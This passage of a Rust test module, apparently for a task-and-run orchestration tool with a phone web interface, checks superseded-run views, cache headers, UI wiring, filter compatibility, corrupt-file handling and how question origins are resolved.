26321        assert!(!out.closed_by_hand);
26322
26323        // A resumed run id repeats: it is still the latest by id.
26324        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26325        assert!(task_outcome(&t, a, 3, read).is_latest);
26326    }
26327
26328    #[tokio::test]
26329    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26330        // The list route has known this since the card fix above; the detail
26331        // route — what an operator actually opens from a notification about
26332        // a blocked run — did not, and went on showing a bare red BLOCKED
26333        // chip for a run a retry had already finished.
26334        let fx = Fixture::start().await;
26335        let q = fx.queue();
26336        let runs = fx.runs();
26337        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26338        write_run(&runs, first, RunStatus::Blocked);
26339        write_run(&runs, second, RunStatus::Merged);
26340
26341        let mut t = Task::new(
26342            "one task".to_owned(),
26343            "do it".to_owned(),
26344            PathBuf::from("/repo"),
26345            Source::Human,
26346        );
26347        t.runs = vec![first.to_owned(), second.to_owned()];
26348        q.put(&mut t).expect("put");
26349
26350        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26351        assert_eq!(earlier["superseded_by"], "dddd");
26352        assert_eq!(earlier["latest_attempt"]["id"], second);
26353        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26354        assert_eq!(
26355            earlier["latest_attempt"]["resolved"], true,
26356            "the run that replaced it landed, so this one reads as settled"
26357        );
26358
26359        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26360        assert!(
26361            later["superseded_by"].is_null(),
26362            "the latest attempt is not superseded by anything"
26363        );
26364        assert!(
26365            later["latest_attempt"].is_null(),
26366            "the latest attempt has no later attempt of its own"
26367        );
26368
26369        // Front end: the detail page has to read the field this route now
26370        // carries, downgrade the chip, and link to the run that replaced it —
26371        // not just repeat the list card's own logic under a different name.
26372        // The link is built off `latest_attempt.id`, the server-resolved
26373        // full id, never a bare short string a client would have to guess a
26374        // full run from.
26375        assert!(APP_JS.contains("run.latest_attempt"));
26376        assert!(APP_JS.contains("data-superseded"));
26377        assert!(APP_JS.contains("#/runs/${latest.id}"));
26378    }
26379
26380    #[tokio::test]
26381    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26382        // A -> B -> C, all Blocked except the last. A's immediate successor
26383        // (superseded_by) is B, which is itself unresolved; what an operator
26384        // opening A's page actually needs is where the task's story stands
26385        // *now* - C, not B - without depending on whether C happens to be in
26386        // whatever page of /api/runs the client last cached.
26387        let fx = Fixture::start().await;
26388        let q = fx.queue();
26389        let runs = fx.runs();
26390        let (a, b, c) = (
26391            "20260901-000000-aaaa",
26392            "20260901-000000-bbbb",
26393            "20260901-000000-cccc",
26394        );
26395        write_run(&runs, a, RunStatus::Blocked);
26396        write_run(&runs, b, RunStatus::Blocked);
26397        write_run(&runs, c, RunStatus::Merged);
26398
26399        let mut t = Task::new(
26400            "retried twice".to_owned(),
26401            "do it".to_owned(),
26402            PathBuf::from("/repo"),
26403            Source::Human,
26404        );
26405        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26406        q.put(&mut t).expect("put");
26407
26408        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26409        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26410        assert_eq!(
26411            view["latest_attempt"]["id"], c,
26412            "the chain's current head, not the intermediate Blocked retry"
26413        );
26414        assert_eq!(view["latest_attempt"]["resolved"], true);
26415
26416        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26417        assert_eq!(mid["latest_attempt"]["id"], c);
26418        assert_eq!(mid["latest_attempt"]["resolved"], true);
26419    }
26420
26421    #[tokio::test]
26422    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26423        let fx = Fixture::start().await;
26424        let q = fx.queue();
26425        let runs = fx.runs();
26426
26427        // Still Blocked: the task is not resolved, so the older run must not
26428        // read as settled either.
26429        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26430        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26431        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26432        let mut t1 = Task::new(
26433            "still stuck".to_owned(),
26434            "do it".to_owned(),
26435            PathBuf::from("/repo"),
26436            Source::Human,
26437        );
26438        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26439        q.put(&mut t1).expect("put");
26440        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26441        assert_eq!(view1["latest_attempt"]["resolved"], false);
26442        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26443        assert_eq!(view1["latest_attempt"]["done"], true);
26444
26445        // Still running: the successor exists and must be reported as such.
26446        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26447        write_run(&runs, run_a, RunStatus::Blocked);
26448        write_run(&runs, run_b, RunStatus::Implementing);
26449        let mut t3 = Task::new(
26450            "retrying".to_owned(),
26451            "do it".to_owned(),
26452            PathBuf::from("/repo"),
26453            Source::Human,
26454        );
26455        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26456        q.put(&mut t3).expect("put");
26457        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26458        assert_eq!(view3["latest_attempt"]["id"], run_b);
26459        assert_eq!(view3["latest_attempt"]["resolved"], false);
26460        assert_eq!(view3["latest_attempt"]["done"], false);
26461
26462        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26463        // to check - not a confirmed finish, so this must not read as
26464        // resolved either, even though the run is done in the sense that
26465        // nothing is still running.
26466        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26467        write_run(&runs, noop_a, RunStatus::Blocked);
26468        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26469        let mut t2 = Task::new(
26470            "claims done".to_owned(),
26471            "do it".to_owned(),
26472            PathBuf::from("/repo"),
26473            Source::Human,
26474        );
26475        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26476        q.put(&mut t2).expect("put");
26477        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26478        assert_eq!(
26479            view2["latest_attempt"]["resolved"], false,
26480            "an unverified no-op claim must not read as a confirmed finish"
26481        );
26482
26483        // Front end: an unresolved successor must not carry the "finished
26484        // this work" note or the muted chip treatment.
26485        assert!(APP_JS.contains("latest.resolved"));
26486        // ...but the link to it shows as soon as it exists, labelled by state
26487        // and without the "finished" wording or the muted chip.
26488        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26489        assert!(APP_JS.contains("Latest attempt: "));
26490        assert!(APP_JS.contains("in flight"));
26491        assert!(APP_JS.contains("not resolved"));
26492    }
26493
26494    #[tokio::test]
26495    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26496        let fx = Fixture::start().await;
26497        // No cache header at all meant browsers invented their own policy,
26498        // and one did: a phone went on showing "Candidates must be folded
26499        // before deleting. Run `magi fold` first." - deleted two releases
26500        // earlier - from a deck that no longer contained the sentence. The
26501        // button it named was right there, and unreachable.
26502        let js = fx.get("/app.js").await;
26503        assert_eq!(js.status, 200);
26504        let tag = js
26505            .header("etag")
26506            .expect("an etag to revalidate against")
26507            .to_owned();
26508        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26509        assert_eq!(
26510            js.header("cache-control"),
26511            Some("no-cache, must-revalidate"),
26512            "the phone has to ask every time"
26513        );
26514
26515        // And the asking has to be cheap, or `must-revalidate` just means
26516        // "send the whole interface on every load".
26517        let again = fx
26518            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26519            .await;
26520        assert_eq!(
26521            again.status, 304,
26522            "a deck it already has costs one round trip"
26523        );
26524        assert!(again.body.is_empty(), "304 carries no body");
26525
26526        // A weakened tag from a proxy still matches; a different build does
26527        // not, which is the case that has to deliver the new interface.
26528        let weak = fx
26529            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26530            .await;
26531        assert_eq!(weak.status, 304);
26532        let stale = fx
26533            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26534            .await;
26535        assert_eq!(stale.status, 200, "an older build must be replaced");
26536        assert!(stale.body.contains("renderRunActions"));
26537    }
26538
26539    #[test]
26540    fn the_task_detail_has_an_actions_fab_and_sheet() {
26541        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26542        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26543        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26544        // Shown only on the task route, closed everywhere else.
26545        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26546        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26547        // Refreshed whenever the detail redraws, including the loading state.
26548        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26549        assert!(APP_JS.contains("renderTaskActions(null);"));
26550        // Same action renderers as the Queue card. Bound this check by the
26551        // next function, since additional task controls can grow the sheet.
26552        let (_, sheet) = APP_JS
26553            .split_once("function renderTaskActions(task) {")
26554            .expect("sheet renderer");
26555        let (body, _) = sheet
26556            .split_once("\nfunction openTaskActions() {")
26557            .expect("end of sheet renderer");
26558        assert!(body.contains("changePriority("));
26559        assert!(body.contains("openTaskEdit(task)"));
26560        assert!(body.contains("renderTaskHoldBox(host"));
26561        assert!(body.contains("renderTaskDoneBox(host"));
26562        assert!(body.contains("renderTaskDeleteBox(host"));
26563        assert!(APP_JS.contains("API.priority(id)"));
26564        assert!(APP_JS.contains("API.deleteTask(id)"));
26565        // A deleted task sends the operator back to the queue.
26566        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26567        // A refusal is shown inside the sheet.
26568        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26569    }
26570
26571    #[test]
26572    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26573        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26574        let actions = INDEX_HTML
26575            .find("id=\"run-actions-box\"")
26576            .expect("actions box");
26577        assert!(task < actions, "the task entry comes first in the sheet");
26578        assert!(APP_JS.contains("renderRunTaskEntry"));
26579        assert!(APP_JS.contains("\"Open task \""));
26580        // A run without a task says why there is nothing to open.
26581        assert!(APP_JS.contains("started directly, no task"));
26582        assert!(APP_JS.contains("sheet-task-link"));
26583        assert!(APP_JS.contains("task-chip-link"));
26584    }
26585
26586    #[test]
26587    fn the_deck_never_sends_the_operator_to_a_terminal() {
26588        // The whole point of the phone UI is that a terminal is not needed.
26589        // The delete control used to answer with "Run `magi fold` first."
26590        assert!(
26591            !APP_JS.contains("Run `magi fold` first"),
26592            "the deck must offer the fold, not prescribe a shell command"
26593        );
26594        assert!(APP_JS.contains("foldRun:"));
26595        assert!(APP_JS.contains("resumeRun:"));
26596        assert!(APP_JS.contains("renderRunActions"));
26597
26598        // Folding is destructive and armed in two steps, like deleting.
26599        assert!(APP_JS.contains("armedFold"));
26600        assert!(APP_JS.contains("Yes, fold worktrees"));
26601
26602        // And the copy has to say that the two actions are opposites, because
26603        // folding throws away exactly what a resume would continue from.
26604        assert!(APP_JS.contains("can no longer be resumed"));
26605    }
26606
26607    #[test]
26608    fn a_finished_run_explains_itself_with_its_own_last_line() {
26609        // The deck used to answer "why did this stop?" with a sentence chosen
26610        // by status alone. Run e633 stalled because two judges answered with
26611        // the wrong JSON shape and its card said "The panel collapsed on
26612        // agent quota" - with `quota: []` in the record and a quota-loss
26613        // counter right above it that correctly said nothing.
26614        assert!(
26615            !APP_JS.contains("collapsed on agent quota"),
26616            "a stall must not be explained by a cause the deck did not check"
26617        );
26618        assert!(
26619            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26620            "and a block must not offer a guess with an `or` in it"
26621        );
26622
26623        // The reason it does have is `run.event`, which must reach finished
26624        // runs: gating it on movement hid the recorded truth at the one moment
26625        // the operator is reading the card to find out what happened.
26626        assert!(
26627            APP_JS.contains("setText(r.event, run.event || \"\")"),
26628            "the run's last line is rendered unconditionally"
26629        );
26630        assert!(
26631            !APP_JS.contains("moving && run.event"),
26632            "and never gated on the run still moving"
26633        );
26634
26635        // Quota keeps its own counter, fed by the number actually recorded.
26636        assert!(APP_JS.contains("lost to quota"));
26637    }
26638
26639    /// The runs tree (section) and the state chips (waiting/done) are two
26640    /// independent lenses ANDed together in `renderRuns`, and some pairings
26641    /// can never both be true for any run - every "Landed"/"Ended" run is
26642    /// done by construction, so pairing either with "Active" or "In flight"
26643    /// always rendered zero cards with the filter bar still claiming
26644    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26645    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26646    /// a handful of (waiting, status) shapes standing in for the run
26647    /// lifecycle, because `cargo test` cannot execute the front end.
26648    ///
26649    /// That stand-in list is itself the part that drifted twice in review:
26650    /// once shipped with `waiting: true` paired with a done status the
26651    /// lifecycle cannot produce, then over-corrected into treating every
26652    /// waiting run as never done - which made "Waiting on you" look
26653    /// incompatible with "Done" even for the one real, reachable shape
26654    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26655    /// that combination. This test parses the shapes and the done-rule back
26656    /// out of `APP_JS`, reimplements `runSection` and the five state
26657    /// predicates independently in Rust, and checks the resulting
26658    /// section/filter compatibility table against the lifecycle rules by
26659    /// hand - so either direction of drift fails it again.
26660    #[test]
26661    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26662        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26663        let shapes_body_start =
26664            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26665        let shapes_close = APP_JS[shapes_body_start..]
26666            .find("].map(")
26667            .expect("the shape list is closed by its done-computing .map(...)")
26668            + shapes_body_start;
26669        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26670
26671        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26672        for entry in shapes_src.split('{').skip(1) {
26673            let waiting = entry.contains("waiting: true");
26674            let dead = entry.contains("live: \"dead\"");
26675            let status_at =
26676                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26677            let status_end = entry[status_at..]
26678                .find('"')
26679                .expect("the status string is closed")
26680                + status_at;
26681            let parked = entry.contains("display_status: \"parked\"");
26682            shapes.push((
26683                waiting,
26684                entry[status_at..status_end].to_string(),
26685                dead,
26686                parked,
26687            ));
26688        }
26689        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26690
26691        // The done rule itself (`!["implementing"].includes(shape.status)`),
26692        // read out of the source rather than hardcoded, so a renamed
26693        // in-flight status can't silently make every parsed shape "done".
26694        let done_rule_marker = "done: !";
26695        let done_rule_at = APP_JS[shapes_close..]
26696            .find(done_rule_marker)
26697            .expect("the done rule follows the shape list")
26698            + shapes_close
26699            + done_rule_marker.len();
26700        let includes_at = APP_JS[done_rule_at..]
26701            .find(".includes(shape.status)")
26702            .expect("the done rule ends in .includes(shape.status)")
26703            + done_rule_at;
26704        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26705            .trim()
26706            .trim_start_matches('[')
26707            .trim_end_matches(']')
26708            .split(',')
26709            .map(|s| s.trim().trim_matches('"'))
26710            .filter(|s| !s.is_empty())
26711            .collect();
26712
26713        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26714            .into_iter()
26715            .map(|(waiting, status, dead, parked)| {
26716                let done = !not_done.contains(&status.as_str());
26717                (waiting, status, dead, parked, done)
26718            })
26719            .collect();
26720
26721        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26722        // outright, then merged/ready land, stalled/blocked/failed/
26723        // verified_noop end, and everything else is still in flight.
26724        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26725            if waiting {
26726                return "waiting";
26727            }
26728            if dead
26729                && !parked
26730                && !matches!(
26731                    status,
26732                    "merged"
26733                        | "ready"
26734                        | "stalled"
26735                        | "blocked"
26736                        | "failed"
26737                        | "verified_noop"
26738                        | "superseded"
26739                        | "already_in_base"
26740                )
26741            {
26742                return "stale";
26743            }
26744            match status {
26745                "merged" | "ready" => "landed",
26746                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26747                | "already_in_base" => "ended",
26748                _ => "flight",
26749            }
26750        }
26751
26752        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26753        // way.
26754        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26755            match filter_key {
26756                "active" => !done,
26757                "flight" => !done && !waiting && !dead,
26758                "stale" => !done && !waiting && dead,
26759                "waiting" => waiting,
26760                "done" => done,
26761                "all" => true,
26762                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26763            }
26764        }
26765
26766        let compatible = |section: &str, filter_key: &str| {
26767            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26768                run_section(*waiting, status, *dead, *parked) == section
26769                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26770            })
26771        };
26772
26773        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26774        // (active, flight, stale, waiting, done, all) - hand-derived from the
26775        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26776        // currently contains.
26777        let expected = [
26778            ("waiting", [true, false, false, true, true, true]),
26779            ("stale", [true, false, true, false, false, true]),
26780            ("flight", [true, true, false, false, false, true]),
26781            ("landed", [false, false, false, false, true, true]),
26782            ("ended", [false, false, false, false, true, true]),
26783        ];
26784        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26785
26786        for (section, wants) in expected {
26787            for (filter_key, want) in filter_keys.iter().zip(wants) {
26788                assert_eq!(
26789                    compatible(section, filter_key),
26790                    want,
26791                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26792                );
26793            }
26794        }
26795
26796        // The compatibility check exists only to be acted on: both pickers
26797        // must actually consult it rather than just render its answer.
26798        assert!(
26799            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26800        );
26801        assert!(APP_JS.contains(
26802            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26803        ));
26804        assert!(APP_JS.contains(
26805            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26806        ));
26807    }
26808
26809    #[tokio::test]
26810    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26811        // An operator-named directory - git checkout or not - is never
26812        // second-guessed, even when it does not exist at all: only the
26813        // flag's own unmodified `.` default is ever eligible for discovery.
26814        let dir = tempfile::tempdir().expect("tempdir");
26815        let explicit = dir.path().join("not-a-checkout");
26816        std::fs::create_dir_all(&explicit).expect("create dir");
26817        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26818
26819        let missing = dir.path().join("does-not-exist-at-all");
26820        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26821    }
26822
26823    #[test]
26824    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26825        assert!(APP_JS.contains("function statsDonutArcs"));
26826        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26827        // A bucket click filters by the statuses src/stats.rs counts in it.
26828        assert!(APP_JS.contains("function statusInBucket"));
26829        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26830        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26831        let buckets = [
26832            "merged",
26833            "ready",
26834            "in_progress",
26835            "blocked",
26836            "failed",
26837            "verified_noop",
26838            "superseded",
26839            "stalled",
26840        ];
26841        for key in buckets {
26842            let var = format!("--verdict-{key}:");
26843            // Light, OS-dark and pinned-dark blocks each define it.
26844            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26845            assert!(
26846                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26847                "{key}"
26848            );
26849        }
26850    }
26851
26852    #[tokio::test]
26853    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26854        let dir = tempfile::tempdir().expect("tempdir");
26855        let queue = Queue::at(dir.path().join("queue"));
26856        let talks = Talks::at(dir.path().join("talks"));
26857        std::fs::create_dir_all(queue.root()).unwrap();
26858        std::fs::create_dir_all(talks.root()).unwrap();
26859
26860        // Put a corrupt json file in both stores
26861        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26862        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26863
26864        // Valid task and talk
26865        let mut task = Task::new(
26866            "title".into(),
26867            "inst".into(),
26868            PathBuf::from("/repo"),
26869            Source::Human,
26870        );
26871        task.id = "20261019-123456-abcd".into();
26872        // Write manually so it's a valid file
26873        std::fs::write(
26874            queue.path_of(&task.id),
26875            serde_json::to_string(&task).unwrap(),
26876        )
26877        .unwrap();
26878
26879        let talk_id = "20261019-234567-cdef";
26880        seed_talk_at(&talks, talk_id, "open");
26881
26882        // Exact match should succeed without failing on the corrupt json file
26883        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26884        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26885
26886        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26887        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26888        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26889    }
26890
26891    #[tokio::test]
26892    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26893        let home = tempfile::tempdir().unwrap();
26894        let ui = delta_test_ui(home.path());
26895        // A full history traversal would fail even with no questions.
26896        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26897        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26898        assert!(
26899            questions_list(State(ui.clone()))
26900                .await
26901                .unwrap()
26902                .0
26903                .is_empty()
26904        );
26905        assert!(
26906            question_origins(State(ui.clone()))
26907                .await
26908                .unwrap()
26909                .0
26910                .is_empty()
26911        );
26912        let mut question = Question::new(
26913            "run-history".into(),
26914            "review".into(),
26915            "seat".into(),
26916            "Useful question".into(),
26917            "Useful detail".into(),
26918            vec![],
26919        );
26920        ui.questions.put(&mut question).unwrap();
26921        let core = questions_core(State(ui.clone())).await.unwrap().0;
26922        assert_eq!(core.len(), 1);
26923        assert_eq!(core[0].question.summary, "Useful question");
26924        assert!(!core[0].can_consult_chat);
26925        assert!(core[0].origin_chat.is_none());
26926        assert_eq!(core[0].record_revision, question_record_revision(&question));
26927        assert!(question_origins(State(ui.clone())).await.is_err());
26928        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26929    }
26930
26931    #[tokio::test]
26932    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26933        let home = tempfile::tempdir().unwrap();
26934        let ui = delta_test_ui(home.path());
26935        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26936        let mut parent = Task::new(
26937            "parent".into(),
26938            "body".into(),
26939            PathBuf::from("/repo"),
26940            Source::Agent {
26941                run: chat.clone(),
26942                node: crate::queue::CHAT_NODE.into(),
26943            },
26944        );
26945        parent.id = "parent-task".into();
26946        parent.runs = vec!["parent-run".into()];
26947        ui.queue.put(&mut parent).unwrap();
26948        let mut previous = parent;
26949        for generation in 1..=2 {
26950            let mut child = Task::new(
26951                "child".into(),
26952                "body".into(),
26953                PathBuf::from("/repo"),
26954                Source::Human,
26955            );
26956            child.id = format!("child-task-{generation}");
26957            child.runs = vec![format!("child-run-{generation}")];
26958            child.followup = Some(crate::queue::FollowUp {
26959                origin_task: Some(previous.id.clone()),
26960                run: previous.runs[0].clone(),
26961                pr: String::new(),
26962                findings: vec![],
26963                generation,
26964            });
26965            ui.queue.put(&mut child).unwrap();
26966            previous = child;
26967        }
26968        // A run may have the same spelling as another task's id; its owner
26969        // must not override a typed task reference.
26970        let mut collision = Task::new(
26971            "collision".into(),
26972            String::new(),
26973            PathBuf::from("/repo"),
26974            Source::Human,
26975        );
26976        collision.id = "collision-task".into();
26977        collision.runs = vec![previous.id.clone()];
26978        ui.queue.put(&mut collision).unwrap();
26979        let mut questions = Vec::new();
26980        for (node, reference, expected, eligible) in [
26981            (crate::triage::NODE, previous.id.as_str(), true, false),
26982            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26983            ("review", previous.runs[0].as_str(), true, true),
26984            (
26985                crate::bump::NOTICE_NODE,
26986                previous.runs[0].as_str(),
26987                true,
26988                false,
26989            ),
26990            // Identical text in the wrong reference namespace is not evidence.
26991            ("review", previous.id.as_str(), false, false),
26992            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26993            ("review", "unrelated", false, false),
26994        ] {
26995            let mut q = Question::new(
26996                reference.into(),
26997                node.into(),
26998                "seat".into(),
26999                "Question".into(),
27000                String::new(),
27001                vec![],
27002            );
27003            ui.questions.put(&mut q).unwrap();
27004            questions.push((q, expected, eligible));
27005        }
27006        for (node, reference, associated, eligible) in [
27007            (crate::reconcile::NODE, previous.id.as_str(), true, false),
27008            (
27009                crate::reconcile::NODE,
27010                previous.runs[0].as_str(),
27011                false,
27012                true,
27013            ),
27014            ("implement", previous.id.as_str(), false, false),
27015        ] {
27016            let mut q = Question::new(
27017                reference.into(),
27018                node.into(),
27019                crate::reconcile::SEAT.into(),
27020                "Reconcile".into(),
27021                String::new(),
27022                vec![],
27023            );
27024            ui.questions.put(&mut q).unwrap();
27025            questions.push((q, associated, eligible));
27026        }
27027        let mut release = Question::new(
27028            "release-record".into(),
27029            crate::bump::NOTICE_NODE.into(),
27030            "release-watch".into(),
27031            "Release".into(),
27032            String::new(),
27033            vec![],
27034        );
27035        ui.questions.put(&mut release).unwrap();
27036        let watch = crate::release_watch::WatchState {
27037            question: Some(release.id.clone()),
27038            run: Some(previous.runs[0].clone()),
27039            held_task: Some(previous.id.clone()),
27040            ..Default::default()
27041        };
27042        let watch_dir = home.path().join("release-watch");
27043        std::fs::create_dir_all(&watch_dir).unwrap();
27044        let watch_path = watch_dir.join("watch.json");
27045        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27046        // Ordinary questions and bump notices do not need watch-store I/O.
27047        for batch in [
27048            Vec::new(),
27049            questions.iter().map(|(q, _, _)| q.clone()).collect(),
27050        ] {
27051            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
27052            assert!(watches.is_empty());
27053        }
27054        questions.push((release.clone(), true, false));
27055
27056        let views = questions_list(State(ui.clone())).await.unwrap().0;
27057        let origins = question_origins(State(ui.clone())).await.unwrap().0;
27058        for (q, associated, eligible) in &questions {
27059            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27060            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27061            let expected = associated.then_some(chat.as_str());
27062            assert_eq!(
27063                view.origin_chat.as_deref(),
27064                expected,
27065                "{} {}",
27066                q.node,
27067                q.run
27068            );
27069            assert_eq!(origin.origin_chat.as_deref(), expected);
27070            assert_eq!(view.origin_chat_closed, *associated);
27071            assert_eq!(origin.origin_chat_closed, *associated);
27072            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27073            assert_eq!(origin.can_consult_chat, *eligible);
27074        }
27075        // Either saved link independently recovers a release question's owner.
27076        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27077            let link = crate::release_watch::WatchState {
27078                run,
27079                held_task,
27080                ..watch.clone()
27081            };
27082            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27083            let (tasks, talks, watches) =
27084                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27085            assert_eq!(
27086                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27087                    .unwrap()
27088                    .id,
27089                chat,
27090            );
27091            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27092        }
27093        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27094        // Even identical duplicate records are ambiguous: ignore their links.
27095        let duplicate_path = watch_dir.join("duplicate.json");
27096        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27097        let (tasks, talks, watches) =
27098            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27099        assert!(
27100            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27101                .is_none()
27102        );
27103        std::fs::remove_file(duplicate_path).unwrap();
27104        // Another explicit owner is a conflict even if it has no chat.
27105        let mut unrelated = Task::new(
27106            "other".into(),
27107            String::new(),
27108            PathBuf::from("/repo"),
27109            Source::Human,
27110        );
27111        unrelated.id = "unrelated-task".into();
27112        ui.queue.put(&mut unrelated).unwrap();
27113        let mut conflicting = watch.clone();
27114        conflicting.held_task = Some(unrelated.id);
27115        std::fs::write(
27116            watch_dir.join("conflict.json"),
27117            serde_json::to_vec(&conflicting).unwrap(),
27118        )
27119        .unwrap();
27120        let (tasks, talks, watches) =
27121            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27122        assert!(
27123            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27124                .is_none()
27125        );
27126        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27127        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27128        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27129            assert!(origin.origin_chat.is_none());
27130            assert!(!origin.origin_chat_closed);
27131        }
27132    }
27133
27134    #[test]
27135    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27136        let home = tempfile::tempdir().unwrap();
27137        let ui = delta_test_ui(home.path());
27138        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27139        for i in 0..1000 {
27140            let mut task = Task::new(
27141                "unrelated".into(),
27142                "instruction ".repeat(256),
27143                PathBuf::from("/repo"),
27144                Source::Human,
27145            );
27146            task.id = format!("history-{i:04}");
27147            ui.queue.put(&mut task).unwrap();
